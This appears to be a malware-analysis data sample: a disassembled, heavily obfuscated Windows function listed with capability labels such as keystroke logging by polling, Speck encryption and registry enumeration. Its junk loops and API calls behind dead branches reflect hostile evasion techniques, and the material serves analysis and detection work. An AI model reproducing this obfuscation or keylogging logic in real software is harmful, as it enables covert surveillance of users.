Function at 0x10012729
Capabilities:
Allocate thread local storage
Authenticate hmac
Check os version
Create pipe
Encrypt data using speck
Get disk information
Get disk size
Get graphical window text
Get session user name
Log keystrokes via polling
Query or enumerate registry key

Disassembly:
mov eax, 0x10069bcc
call fcn.10069380
sub esp, 0xa2c
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x64], ecx
lea ecx, [ebp - 0x34c]
push 4
mov byte [ebp - 0x6c], dl
call fcn.10010621
and dword [ebp - 4], 0
lea ecx, [ebp - 0x244]
xor ebx, ebx
inc ebx
push ebx
call fcn.10010621
mov dword [ebp - 0x14], 0
jmp 0x10012781
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x34c]
mov dword [eax + ecx*4], 0xfffffffa
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x1001276e
mov dword [ebp - 0x14], 0
jmp 0x100127a3
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x244]
mov dword [eax + ecx*4], 0xa32b1cec
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10012790
mov esi, dword [ebp - 0x244]
push 3
pop edi
and dword [esi], 0
mov ecx, dword [esi]
mov edx, 0xffff
mov eax, dword [ebp - 0x34c]
sub edx, ecx
mov dword [ebp - 0x28], 0xfffffffb
sub edx, dword [eax + ecx*4]
add edx, edx
mov dword [eax + ecx*4], edx
xor ecx, ecx
cmp edx, dword [esi]
sete cl
xor eax, eax
cmp ecx, dword [esi]
setg al
mov dword [ebp - 0x28], eax
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], al
je 0x10012803
push eax
push 0x1493
push 0xaf0
push 0xd86
call dword [sym.imp.GDI32.dll_GetDIBColorTable]
mov esi, dword [ebp - 0x244]
inc dword [esi]
cmp dword [esi], edi
jle 0x100127b4
lea ecx, [ebp - 0x244]
call fcn.100106a3
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x34c]
call fcn.100106a3
mov dword [ebp - 0x5c], 0x4d3e
cmp dword [ebp - 0x5c], 0x4d7d
mov dword [ebp - 0x2c], 0x10007d40
jle 0x100128bf
xor esi, esi
mov dword [ebp - 0x40], esi
xor edi, edi
mov dword [ebp - 0x54], 0x2dd2
mov dword [ebp - 0x38], edi
xor ebx, ebx
mov dword [ebp - 0x30], 0x6684
xor esi, esi
mov edi, 0x371f
mov eax, esi
lea ecx, [ebp - 0x840]
cdq
push edx
push eax
call fcn.1000da20
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1001287b
mov eax, dword [eax]
push eax
call fcn.100540b6
pop ecx
push 0
push 1
lea ecx, [ebp - 0x840]
call fcn.100109ad
add esi, ebx
dec edi
jne 0x10012861
mov edi, dword [ebp - 0x38]
add ebx, edi
dec dword [ebp - 0x30]
jne 0x1001285a
mov esi, dword [ebp - 0x40]
add edi, esi
dec dword [ebp - 0x54]
mov dword [ebp - 0x38], edi
jne 0x10012851
inc esi
mov dword [ebp - 0x40], esi
cmp esi, 0x346
jl 0x10012845
xor ebx, ebx
push 3
inc ebx
pop edi
xor eax, eax
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 2
jge 0x100128e5
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x65c], ebx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 2
jl 0x100128d0
xor eax, eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0xffffffe9
jg 0x10012ad8
mov dword [ebp - 0x20], 7
mov dword [ebp - 0x20], eax
jmp 0x10012979
mov dword [ebp - 0x1c], 0x2937a3a1
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], eax
jl 0x10012976
mov dword [ebp - 0x44], 0x5f0ed1ad
mov dword [ebp - 0x44], eax
jmp 0x10012966
mov dword [ebp - 0x34], 0x98e64e6d
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x10012941
push eax
push 0xa38
push 0x2082
push 0x933
call dword [sym.imp.GDI32.dll_GetCharABCWidthsFloatA]
xor eax, eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 2
jge 0x10012963
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x65c], 0x60f7e730
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 2
jl 0x1001294a
xor eax, eax
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], ebx
jle 0x10012919
mov eax, dword [ebp - 0x44]
dec dword [ebp - 0x1c]
push 0
pop eax
jns 0x1001290d
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jle 0x100128fe
mov dword [ebp - 0x20], 0xffffffe3
cmp dword [ebp - 0x20], 0xd
jl 0x10012ace
push 2
lea ecx, [ebp - 0x424]
call fcn.10010621
mov dword [ebp - 4], ebx
mov dword [ebp - 0x14], 0
jmp 0x100129b9
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x2bc], 0x23dcdf5
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x100129a8
mov dword [ebp - 0x14], 0
jmp 0x100129db
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x424]
mov dword [eax + ecx*4], 0xc12a7b09
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x100129c8
mov dword [ebp - 0x38], 0x4847
cmp dword [ebp - 0x38], 0x4a7c
jle 0x10012a36
xor edi, edi
mov dword [ebp - 0x30], edi
xor esi, esi
mov ecx, esi
mov dword [ebp - 0x28], edi
xor ebx, ebx
shl edi, cl
mov eax, edi
mov ecx, 0x10613338
and eax, ebx
cdq
push edx
push eax
call fcn.1001050c
inc ebx
cmp ebx, 0x52ec
jl 0x10012a01
mov edi, dword [ebp - 0x30]
inc esi
cmp esi, 0x263a
jl 0x100129f8
inc edi
mov dword [ebp - 0x30], edi
cmp edi, 0x707c
jl 0x100129f6
xor ebx, ebx
inc ebx
mov dword [ebp - 0x2b8], 0
jmp 0x10012a70
mov dword [ebp - 0x28], 0xfffffffc
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x424]
mov dword [eax], ecx
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], al
je 0x10012a6a
push eax
push 0x2009
call dword [sym.imp.USER32.dll_TranslateMDISysAccel]
dec dword [ebp - 0x2b8]
cmp dword [ebp - 0x2b8], 0xffffffe4
jle 0x10012a42
mov byte [ebp - 4], 2
cmp dword [ebp - 0x38], 0x4702
jge 0x10012ab4
mov edx, 0x10007d68
mov ecx, 0x10613338
call fcn.10011fb6
jmp 0x10012ab4
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x424]
push 3
pop edi
call fcn.100106a3
inc dword [ebp - 0x20]
jmp 0x10012985
dec dword [ebp - 0x58]
xor eax, eax
jmp 0x100128e8
push 4
pop esi
push esi
lea ecx, [ebp - 0x364]
call fcn.10010621
push ebx
lea ecx, [ebp - 0x250]
mov dword [ebp - 4], esi
call fcn.10010621
mov dword [ebp - 0x14], 0
jmp 0x10012b12
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x364]
mov dword [eax + ecx*4], 0xfffffffa
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10012aff
mov dword [ebp - 0x14], 0
jmp 0x10012b33
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x250]
mov dword [eax + ecx*4], 0xa32b1cec
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10012b20
mov esi, dword [ebp - 0x250]
and dword [esi], 0
mov ecx, dword [esi]
mov edx, 0xffff
mov eax, dword [ebp - 0x364]
sub edx, ecx
mov dword [ebp - 0x28], 0xfffffffb
sub edx, dword [eax + ecx*4]
add edx, edx
mov dword [eax + ecx*4], edx
xor ecx, ecx
cmp edx, dword [esi]
sete cl
xor eax, eax
cmp ecx, dword [esi]
setg al
mov dword [ebp - 0x28], eax
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], al
je 0x10012b90
push eax
push 0x1493
push 0xaf0
push 0xd86
call dword [sym.imp.GDI32.dll_GetDIBColorTable]
mov esi, dword [ebp - 0x250]
inc dword [esi]
cmp dword [esi], edi
jle 0x10012b41
lea ecx, [ebp - 0x250]
call fcn.100106a3
lea ecx, [ebp - 0x364]
call fcn.100106a3
cmp dword [ebp - 0x5c], 0x4bee
jge 0x10012bc4
push dword [ebp - 0x2c]
call fcn.100540b6
pop ecx
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x54], 0x545b
cmp dword [ebp - 0x54], 0x5528
jle 0x10012c45
xor ebx, ebx
mov dword [ebp - 0x38], ebx
xor edi, edi
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x30], 0x253e
xor esi, esi
mov eax, ebx
lea ecx, [ebp - 0x870]
or eax, esi
cdq
push edx
push eax
call fcn.1000da20
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10012c07
mov eax, dword [eax]
push eax
call fcn.100540b6
pop ecx
push 0
push 1
lea ecx, [ebp - 0x870]
call fcn.100109ad
inc esi
cmp esi, 0x69f3
jl 0x10012beb
add ebx, edi
dec dword [ebp - 0x30]
jne 0x10012be9
mov ebx, dword [ebp - 0x38]
dec edi
cmp edi, 0xffffdc2b
jg 0x10012bdf
inc ebx
mov dword [ebp - 0x38], ebx
cmp ebx, 0x7d95
jl 0x10012bdd
cmp dword [ebp - 0x54], 0x533e
jge 0x10012c59
push 0x10007de8
call fcn.100540b6
pop ecx
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x3c], 0xea7
mov byte [ebp - 0x45], 0
cmp byte [ebp - 0x45], 0
je 0x10012c79
push 0x1f88
call dword [sym.imp.GDI32.dll_GetStockObject]
mov dword [ebp - 0x40], 0x29b5
cmp dword [ebp - 0x40], 0x2c41
jle 0x10012cd9
xor esi, esi
mov eax, esi
mov dword [ebp - 0x54], 0x3c36
mov dword [ebp - 0x38], eax
mov ebx, eax
mov dword [ebp - 0x30], 0x2ff2
xor edi, edi
mov ecx, edi
mov eax, ebx
shl eax, cl
mov ecx, 0x10613338
cdq
push edx
push eax
call fcn.1001050c
inc edi
cmp edi, 0x712
jl 0x10012ca2
dec ebx
dec dword [ebp - 0x30]
jne 0x10012ca0
mov eax, dword [ebp - 0x38]
dec eax
dec dword [ebp - 0x54]
mov dword [ebp - 0x38], eax
jne 0x10012c97
inc esi
cmp esi, 0x27ab
jl 0x10012c8b
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], al
je 0x10012cf5
push eax
push eax
push 0x1b68
push 0x67e
call dword [sym.imp.USER32.dll_PostMessageW]
mov dword [ebp - 4], 9
cmp dword [ebp - 0x40], 0x2982
jge 0x10012d14
mov edx, 0x10007e38
mov ecx, 0x10613338
call fcn.10011fb6
or dword [ebp - 4], 0xffffffff
xor edi, edi
push 3
pop esi
xor eax, eax
inc edi
mov dword [ebp - 0x24], edi
push 2
mov dword [ebp - 0x3c], eax
pop ebx
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x10012d45
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x508], edi
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x10012d31
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xffffffe9
jg 0x10012ebb
jmp 0x10012d70
xor eax, eax
mov dword [ebp - 0x44], 7
mov dword [ebp - 0x44], eax
jmp 0x10012df5
mov dword [ebp - 0x1c], 0x2937a3a1
mov dword [ebp - 0x1c], edi
cmp dword [ebp - 0x1c], eax
jl 0x10012df2
mov dword [ebp - 0x20], 0x5f0ed1ad
mov dword [ebp - 0x20], eax
jmp 0x10012de2
mov dword [ebp - 0x34], 0x98e64e6d
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x10012dbf
push eax
push 0xa38
push 0x2082
push 0x933
call dword [sym.imp.GDI32.dll_GetCharABCWidthsFloatA]
xor eax, eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], ebx
jge 0x10012ddf
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x508], 0x60f7e730
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], ebx
jl 0x10012dc7
xor eax, eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jle 0x10012d97
mov eax, dword [ebp - 0x20]
dec dword [ebp - 0x1c]
push 0
pop eax
jns 0x10012d8b
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], edi
jle 0x10012d7c
mov dword [ebp - 0x44], 0xffffffe3
jmp 0x10012ea4
push ebx
lea ecx, [ebp - 0x490]
call fcn.10010621
mov dword [ebp - 0x14], 0
jmp 0x10012e2c
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x2cc], 0x23dcdf5
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x10012e1b
mov dword [ebp - 0x14], 0
jmp 0x10012e4e
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x490]
mov dword [eax + ecx*4], 0xc12a7b09
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10012e3b
mov dword [ebp - 0x2c8], 0
jmp 0x10012e8d
mov dword [ebp - 0x28], 0xfffffffc
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x490]
mov dword [eax], ecx
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], al
je 0x10012e87
push eax
push 0x2009
call dword [sym.imp.USER32.dll_TranslateMDISysAccel]
dec dword [ebp - 0x2c8]
cmp dword [ebp - 0x2c8], 0xffffffe4
jle 0x10012e5f
lea ecx, [ebp - 0x490]
call fcn.100106a3
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], 0xd
jge 0x10012e06
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xffffffe9
jle 0x10012d6e
push 4
lea ecx, [ebp - 0x394]
call fcn.10010621
push edi
lea ecx, [ebp - 0x1bc]
mov dword [ebp - 4], 0xb
call fcn.10010621
mov byte [ebp - 4], 0xc
xor eax, eax
mov dword [ebp - 0x2c], 0x17571177
mov dword [ebp - 0x30], 0xc935cb51
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 6
jge 0x100130eb
push 0xfffffffffffffffd
pop ecx
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x20], 0xffffffff
mov dword [ebp - 0x14], 0x9ca3eaa3
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x24], eax
jmp 0x10012f2c
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x230], 0x6ab81d4
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x10012f1b
mov eax, dword [ebp - 0x2c]
xor edx, edx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x44], 0x9120
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
setg dl
sub edx, 0xffff
neg edx
sbb edx, edx
inc edx
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x14]
sub eax, 0x8877
neg eax
sbb eax, eax
xor edx, edx
inc eax
cmp eax, 7
mov eax, dword [ebp - 0x20]
setne dl
xor ecx, ecx
cmp edx, eax
setg cl
cmp ecx, dword [ebp - 0x2c]
jge 0x10013088
mov dword [ebp - 0x40], 0x38ff
mov dword [ebp - 0x14], 0x11
jmp 0x10013075
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x38], 0x3d4f39ab
mov dword [ebp - 0x44], 0x16
jmp 0x10013013
push edi
lea ecx, [ebp - 0x37c]
call fcn.10010621
mov dword [ebp - 0x24], 0
jmp 0x10012ff0
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x37c]
mov dword [eax + ecx*4], 0xfffffff9
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x10012fdd
mov eax, dword [ebp - 0x37c]
lea ecx, [ebp - 0x37c]
or dword [eax], 0xffffffff
mov dword [ebp - 0x30], 0xffffffff
call fcn.100106a3
dec dword [ebp - 0x44]
cmp dword [ebp - 0x44], 0xfffffff6
jg 0x10012fc8
mov eax, dword [ebp - 0x30]
xor edx, edx
mov dword [ebp - 0x54], eax
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x2c]
cmp eax, ecx
setg dl
xor ecx, ecx
add edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x20]
cmp edx, eax
setge cl
xor edx, edx
mov dword [ebp - 0x38], ecx
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x28]
sub ecx, 0x24374969
cmp eax, ecx
mov eax, dword [ebp - 0x54]
setne dl
xor ecx, ecx
cmp eax, edx
setne cl
imul ecx, dword [ebp - 0x40]
sub ecx, dword [ebp - 0x14]
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x38]
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x230], eax
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xd
jne 0x10012fb5
xor eax, eax
cmp dword [ebp - 0x44], eax
jne 0x100130d8
jmp 0x100130c6
xor ecx, ecx
mov dword [ebp - 0x24], ecx
jmp 0x100130a0
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x2ac], 0x9ee52129
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x1001308f
dec dword [ebp - 0x2ac]
mov byte [ebp - 0x45], cl
cmp byte [ebp - 0x45], cl
je 0x100130c4
push 0x26a7
push ecx
push 0x1f48
call dword [sym.imp.USER32.dll_GetWindowTextA]
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x100130d8
push eax
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorOwner]
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 6
push 0
pop eax
push 0xfffffffffffffffd
pop ecx
jl 0x10012eff
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 4
jge 0x1001310f
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x394]
mov dword [eax + ecx*4], 0xfffffffa
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x100130f4
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x10013131
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1bc]
mov dword [eax + ecx*4], 0xa32b1cec
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x10013117
xor eax, eax
mov ecx, dword [ebp - 0x1bc]
mov dword [ecx], eax
cmp dword [ecx], esi
jg 0x1001364f
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x20], eax
jmp 0x10013187
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x34], 0xffffffe9
jmp 0x1001317e
mov dword [ebp - 0x24], 0xfffffff7
mov dword [ebp - 0x24], eax
jmp 0x10013175
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x10013172
call dword [sym.imp.KERNEL32.dll_GetVersion]
xor eax, eax
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xfffffff5
jge 0x10013161
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0x17
jne 0x10013155
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 8
jle 0x10013149
mov dword [ebp - 0x28], 0xfffffffb
mov dword [ebp - 0x38], 0x345e
cmp dword [ebp - 0x38], 0x34ca
jle 0x100131e3
mov edi, eax
mov ebx, eax
mov dword [ebp - 0x30], 0x279e
mov esi, eax
mov ecx, esi
mov eax, ebx
sar eax, cl
mov ecx, 0x10613338
cdq
push edx
push eax
call fcn.1001050c
inc esi
cmp esi, 0x35c8
jl 0x100131b1
add ebx, edi
dec dword [ebp - 0x30]
push 0
pop eax
jne 0x100131af
inc edi
cmp edi, 0x731c
jl 0x100131a6
xor edi, edi
inc edi
mov dword [ebp - 0x44], 0xffffffff
xor ebx, ebx
mov dword [ebp - 0x40], 0xf839
mov dword [ebp - 0x30], 0x49744027
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0x24], ebx
jmp 0x10013213
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xcc], edi
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 2
jl 0x10013206
mov eax, dword [ebp - 0xc8]
xor ecx, ecx
test eax, eax
mov eax, dword [ebp - 0x40]
setg cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0xcc]
setle dl
xor ecx, ecx
cmp edx, eax
setne cl
cmp ecx, dword [ebp - 0xc8]
jne 0x1001324c
mov ecx, edi
cmp dword [ebp - 0x44], ebx
jne 0x1001324e
mov ecx, ebx
mov eax, dword [ebp - 0xc8]
add eax, ecx
cmp eax, dword [ebp - 0x44]
jge 0x1001325e
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x30], 0xff15cc7c
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x34], ebx
jmp 0x100132b5
mov dword [ebp - 0x44], ebx
jmp 0x100132ad
mov dword [ebp - 0x20], 0xffffffff
dec dword [ebp - 0x20]
mov dword [ebp - 0x20], ebx
jmp 0x100132a5
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0xcc], ebx
jne 0x100132aa
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jle 0x10013296
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], edi
jle 0x10013287
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], edi
jle 0x10013282
mov byte [ebp - 4], 0xd
cmp dword [ebp - 0x38], 0x30b3
jge 0x100132f4
mov edx, 0x10007e80
mov ecx, 0x10613338
call fcn.10011fb6
jmp 0x100132f4
mov dword [ebp - 4], 0xc
mov edx, 0xffff
mov esi, dword [ebp - 0x1bc]
mov eax, dword [ebp - 0x394]
movdqa xmm0, xmmword [0x1000c620]
mov ecx, dword [esi]
sub edx, ecx
sub edx, dword [eax + ecx*4]
add edx, edx
mov dword [eax + ecx*4], edx
xor ecx, ecx
cmp edx, dword [esi]
sete cl
xor eax, eax
cmp ecx, dword [esi]
lea ecx, [ebp - 0x670]
push ecx
setg al
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x660]
push eax
push ecx
lea ecx, [ebp - 0x168]
movdqu xmmword [ebp - 0x670], xmm0
call fcn.1001067d
push 3
pop esi
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ebx
jmp 0x1001336f
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x540], 0x3f36fc75
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 4
jl 0x1001335e
mov dword [ebp - 0x20], ebx
jmp 0x100134fc
mov dword [ebp - 0x14], 0xfffffffe
mov dword [ebp - 0x5c], 0x2625aa9c
mov dword [ebp - 0x14], ebx
jmp 0x100134f0
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x44], 0xee85ec41
mov dword [ebp - 0x40], 0x89ced66e
mov dword [ebp - 0x28], 0xfffffff8
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x24], ebx
jmp 0x100133c4
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x76c], ebx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x100133b7
mov eax, dword [ebp - 0x14]
xor ecx, ecx
cmp eax, 0x30467731
mov eax, dword [ebp - 0x44]
setne cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x44]
setge dl
xor ecx, ecx
cmp edx, eax
setg cl
mov dword [ebp - 0x44], ecx
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x40]
mov edi, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x14]
mov esi, dword [ebp - 0x168]
mov eax, dword [ebp - 0x168]
mov eax, dword [eax + ecx*4]
xor ecx, ecx
mov dword [esi + edi*4], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
cmp eax, 0xfffb
setne cl
sub ecx, 0xcfcb8f1f
neg ecx
sbb ecx, ecx
inc ecx
sub ecx, dword [ebp - 0x40]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
add ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
inc eax
add ecx, eax
mov dword [ebp - 0x768], ecx
mov eax, dword [ebp - 0x14]
cmp ecx, eax
setle dl
xor eax, eax
cmp dword [esi + edi*4], edx
setg al
mov dword [ebp - 0x53c], eax
cmp eax, dword [ebp - 0x40]
jl 0x10013475
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x5c], eax
mov byte [ebp - 0x45], bl
cmp byte [ebp - 0x45], 0
je 0x10013495
push ebx
call dword [sym.imp.USER32.dll_GetKeyboardState]
jmp 0x10013495
mov dword [ebp - 0x44], 0xfffffffd
jmp 0x1001348f
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x168]
cmp dword [eax + ecx*4], ebx
jne 0x10013495
dec dword [ebp - 0x44]
cmp dword [ebp - 0x44], 0xffffffec
jle 0x1001347e
cmp dword [ebp - 0x53c], ebx
je 0x100134b7
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x168]
cmp dword [eax], ebx
je 0x100134b7
xor edi, edi
inc edi
mov ecx, edi
jmp 0x100134bc
xor edi, edi
mov ecx, ebx
inc edi
xor eax, eax
cmp ecx, 0xe255
mov ecx, dword [ebp - 0x5c]
setg al
sub ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
imul eax, ecx, 0x27fd
test eax, eax
jne 0x100134e2
mov eax, ebx
cmp dword [ebp - 0x38], ebx
je 0x100134e4
mov eax, edi
push 3
mov dword [ebp - 0x53c], eax
inc dword [ebp - 0x14]
pop esi
cmp dword [ebp - 0x14], esi
jle 0x10013393
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jle 0x1001337d
lea ecx, [ebp - 0x168]
call fcn.100106a3
mov dword [ebp - 0x30], 0x11ad
cmp dword [ebp - 0x30], 0x14e6
jle 0x1001355d
push ebx
push 0x6c4
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_VerSetConditionMask]
mov edi, ebx
mov esi, ebx
lea eax, [esi + edi]
mov ecx, 0x10613338
cdq
push edx
push eax
call fcn.1001050c
inc esi
cmp esi, 0x7fb1
jl 0x10013532
inc edi
cmp edi, 0x7a94
jl 0x10013530
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
push 3
pop esi
mov byte [ebp - 0x15], bl
mov byte [ebp - 4], 0xf
cmp dword [ebp - 0x30], 0x1095
jge 0x1001359d
mov edx, 0x10007ee8
mov ecx, 0x10613338
call fcn.10011fb6
jmp 0x1001359d
xor edi, edi
mov dword [ebp - 4], 0xc
push 4
lea ecx, [ebp - 0x43c]
inc edi
call fcn.10010621
mov dword [ebp - 0x24], ebx
jmp 0x100135cc
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x43c]
mov dword [eax + ecx*4], 0xffff
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 4
jl 0x100135b9
mov eax, dword [ebp - 0x43c]
cmp dword [eax + 0xc], ebx
mov byte [ebp - 0x45], bl
je 0x100135f3
cmp byte [ebp - 0x45], 0
je 0x10013619
push 0x152d
call dword [sym.imp.GDI32.dll_CloseEnhMetaFile]
jmp 0x10013619
cmp byte [ebp - 0x45], 0
je 0x10013605
push 0x1776
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov byte [ebp - 0x45], bl
cmp byte [ebp - 0x45], 0
je 0x10013619
push 0x1219
call dword [sym.imp.USER32.dll_PostQuitMessage]
lea ecx, [ebp - 0x43c]
call fcn.100106a3
cmp byte [ebp - 0x15], 0
je 0x10013640
push ebx
push 0x1493
push 0xaf0
push 0xd86
call dword [sym.imp.GDI32.dll_GetDIBColorTable]
mov ecx, dword [ebp - 0x1bc]
inc dword [ecx]
xor eax, eax
jmp 0x10013139
lea ecx, [ebp - 0x1bc]
call fcn.100106a3
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x394]
call fcn.100106a3
mov dword [ebp - 0x50], 0xffffffff
xor ebx, ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x44], 0xffffffff
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x24], 6
mov dword [ebp - 0x30], 0x56eff52
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x28], ebx
cmp dword [ebp - 0x50], ebx
je 0x100136b4
mov eax, dword [ebp - 0x50]
neg eax
jne 0x100136a6
mov ecx, ebx
cmp dword [ebp - 0x50], ebx
je 0x100136a8
